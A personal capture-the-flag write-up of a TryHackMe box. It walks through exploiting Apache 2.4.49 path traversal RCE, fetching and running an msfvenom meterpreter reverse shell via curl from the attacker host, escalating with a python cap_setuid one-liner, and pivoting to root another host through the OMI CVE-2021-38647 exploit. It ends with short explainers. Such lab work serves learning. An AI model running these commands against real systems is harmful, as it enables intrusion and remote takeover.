Another box I did on TryHackMe to test my penetration testing skills on a linux machine. It was fun, took me longer than the previous one but it’s not that hard once you get into the right path during the hacking process.
Table of Contents
Scanning and Enumeration
Started with a simple NMap scan, as usual:
root@ip-10-10-49-89:~# nmap -A 10.10.99.140 Starting Nmap 7.60 ( https://nmap.org ) at 2023-03-06 07:25 GMT Nmap scan report for ip-10-10-99-140.eu-west-1.compute.internal (10.10.99.140) Host is up (0.00051s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.49 ((Unix)) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.49 (Unix) |_http-title: Consult - Business Consultancy Agency Template | Home MAC Address: 02:B3:1D:19:D3:77 (Unknown) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.8 (92%), Crestron XPanel control system (89%), HP P2000 G3 NAS device (86%), ASUS RT-N56U WAP (Linux 3.4) (86%), Linux 3.1 (86%), Linux 3.16 (86%), Linux 3.2 (86%), Linux 3.13 (86%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (86%), Linux 2.6.32 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.51 ms ip-10-10-99-140.eu-west-1.compute.internal (10.10.99.140) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.87 seconds
It had the port 80 open, so I checked and spent some time poking around the website, thinking that it could be the point of access to this machine.
I did my usual manual check (robots.txt, sitemap.xml, source code inspection, etc.) and did some automatic folder scanning:
root@ip-10-10-49-89:~# ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.99.140/FUZZ [the ffuf ascii drawing removed on purpose to avoid cluttering the post] ________________________________________________ :: Method : GET :: URL : http://10.10.99.140/FUZZ :: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405 ________________________________________________ .htpasswd [Status: 403, Size: 199, Words: 14, Lines: 8] .hta [Status: 403, Size: 199, Words: 14, Lines: 8] .htaccess [Status: 403, Size: 199, Words: 14, Lines: 8] assets [Status: 301, Size: 235, Words: 14, Lines: 8] cgi-bin/ [Status: 403, Size: 199, Words: 14, Lines: 8] index.html [Status: 200, Size: 57985, Words: 25871, Lines: 1030] :: Progress: [4655/4655] :: Job [1/1] :: 3635 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
I even tried scanning with a longer wordlist, but there wasn’t anything else that could be utilized to hack into this machine.
I focused then on researching the technology used on this webserver, searched for this webserver Apache version (2.4.49) on exploit-db and I found a very interesting exploit that could lead to RCE:
Apache HTTP Server 2.4.49 – Path Traversal & Remote Code Execution (RCE)
Exploitation
So, I downloaded the exploit, followed the instructions on how to use it (give to it a textfile with the targets, and the command to run on the remote machine), and it worked flawlessly:
root@ip-10-10-49-89:~# ./poc.sh targets.txt /bin/sh id 10.10.99.140 uid=1(daemon) gid=1(daemon) groups=1(daemon)
I wasn’t root, but I had my foot in the door, so it was good.
The first thing I usually is to try upgrading my shell. This time I wanted to use Metasploit to practice with it.
I created a reverseshell first:
root@ip-10-10-49-89:~# msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.49.89 LPORT=9998 -f elf > rev_shell.elf No encoder specified, outputting raw payload Payload size: 130 bytes Final size of elf file: 250 bytes
Started the multi/handler on my attacking machine, and uploaded the shell on the target system:
root@ip-10-10-49-89:~# ./poc.sh targets.txt /bin/sh 'curl -o /tmp/shell.elf http://10.10.49.89:8080/rev_shell.elf' 10.10.99.140 root@ip-10-10-49-89:~# ./poc.sh targets.txt /bin/sh 'ls /tmp' 10.10.99.140 shell.elf root@ip-10-10-49-89:~# ./poc.sh targets.txt /bin/sh 'chmod +x /tmp/shell.elf' root@ip-10-10-49-89:~# ./poc.sh targets.txt /bin/sh '/tmp/shell.elf' 10.10.99.140
I got then my Meterpreter shell:
msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.49.89:9998 [*] Sending stage (3045348 bytes) to 10.10.99.140 [*] Meterpreter session 1 opened (10.10.49.89:9998 -> 10.10.99.140:47234) at 2023-03-06 09:25:14 +0000 meterpreter > meterpreter > getuid Server username: daemon meterpreter > pwd /bin meterpreter > sysinfo Computer : 172.17.0.2 OS : Debian 10.10 (Linux 5.4.0-88-generic) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux
I started first by gathering more information about the system, and then I kept looking around for ways to elevate my privileges (sudo, SUID, capabilites, $PATH, etc.) – all manually because all these practical experiences I’m doing are a way for me to refresh my previous knowledge and to learn new techniques. I think relying on automated methods it’s useful down the line (or to cut down time, like when trying to find additional folders or subdomains on a website), but for now I just want to learn doing everything manually and make sure that I’m understanding the theory behind these techqniques as much as I can.
So, while going through my checklist, I found out that python was among the capabilites of the daemon:
getcap -r / 2>/dev/null /usr/bin/python3.7 = cap_setuid+ep
Went to GTFOBins, looked at the right command to use this at my advantage and got root:
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
id
uid=0(root) gid=1(daemon) groups=1(daemon)
I’ve found the user flag in the root folder, but as there was no root flag anywhere in this machine, I thought that maybe there was another machine connected to this one.
So I’ve searched for some information and found out that I was right, the target machine was connected to another one:
meterpreter > ifconfig Interface 1 ============ Name : lo Hardware MAC : 00:00:00:00:00:00 MTU : 65536 Flags : UP,LOOPBACK IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 Interface 4 ============ Name : eth0 Hardware MAC : 02:42:ac:11:00:02 MTU : 1500 Flags : UP,BROADCAST,MULTICAST IPv4 Address : 172.17.0.2 IPv4 Netmask : 255.255.0.0
Pivoting
I had to upload NMap on the target machine (target1) so that I could scan the new target (target2). It was pretty easy, had to download a binary of NMap and upload it using Meterpreter.
I’ve then scanned target2 from target1 (the first scan didn’t gave anything useful, so I’ve run it again with the -p- parameter to scan all the ports on the system and I got what I needed):
./nmap -p- -T4 172.17.0.1 Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-03-06 10:34 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed Nmap scan report for ip-172-17-0-1.eu-west-1.compute.internal (172.17.0.1) Host is up (0.000095s latency). Not shown: 65531 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 5985/tcp closed unknown 5986/tcp open unknown MAC Address: 02:42:89:6A:6F:37 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 320.93 seconds
Looking online for those new ports, 5985 and 5986, I’ve found out that they are usually related to WinRM, and while looking for a vulnerability I’ve found something interesting:
https://github.com/CyberMonitor/CVE-2021-38648
I’ve studied the vulnerability and the exploit and decided to test it, and it worked. I got root, and the final flag:
python3 exploit.py -t 172.17.0.1 -p 5986 -c id
uid=0(root) gid=0(root) groups=0(root)
python3 exploit.py -t 172.17.0.1 -p 5986 -c 'cat /root/root.txt'
THM{XXXXXcensoredXXXXXXX}
It was fun testing myself and my knowledge with this machine. I wasn’t expecting the second target as there was no mention of it in the description or tags of this room on TryHackMe.
But it wasn’t a problem at all, I already had similar situations in the past so even if in this phase I’m looking for easy and quick machines to test some foundational linux and penetration testing knowledge, it still was interesting and good fun doing the pivoting part as well.
What are Capabilities?
In Linux, capabilities are a way to grant specific privileges or permissions to processes, without giving them full root access. It is a fine-grained permission control mechanism that allows processes to perform certain privileged operations, without the need for elevated privileges.
Capabilities can be set on executables using the “setcap” command, and can be viewed using the “getcap” command. They can also be inherited by child processes. The use of capabilities can help improve system security by reducing the need for privileged access and limiting the potential damage that can be caused by compromised processes. But, as you could see in this post, can also be used to circumvent security rules if not properly utilized.
Azure OMI vulnerability
The vulnerability that allowed me to gain access to target2 is related to the CVE-2021-38647, which affects the Open Management Infrastructure (OMI).
As explained by CyberMonitor:
In Microsoft’s Azure, the OMI application gets installed automatically when services like Azure Automation Accounts, Update Management, Log Analytics, Configuration Management, etc., are used for UNIX/Linux VM’s. The OMI application also exposes the service over port 5986 if the Configuration Management service is used for managing the machine remotely.
Anyone with network access to vulnerable endpoint can send a request that leverages the SCXcore provider without the Authorization header and execute OS commands on the target machine with root privileges!
This vulnerability is now fixed but always worth to check against Linux VMs in Azure.
